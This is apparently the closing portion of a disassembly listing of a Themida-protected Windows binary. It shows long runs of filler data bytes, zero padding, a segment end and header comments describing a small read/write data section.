'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ',0 align 4 dd 144h dup(0) db 2 dup(0) word_616C4E dw 0 ; DATA XREF: ___:off_4452F4o dd 1CECh dup(0) Themida_ ends ; Section 5. (virtual address 0021E000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0021E000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 61E000h dd 80h dup(0) align 1000h _idata2 ends end start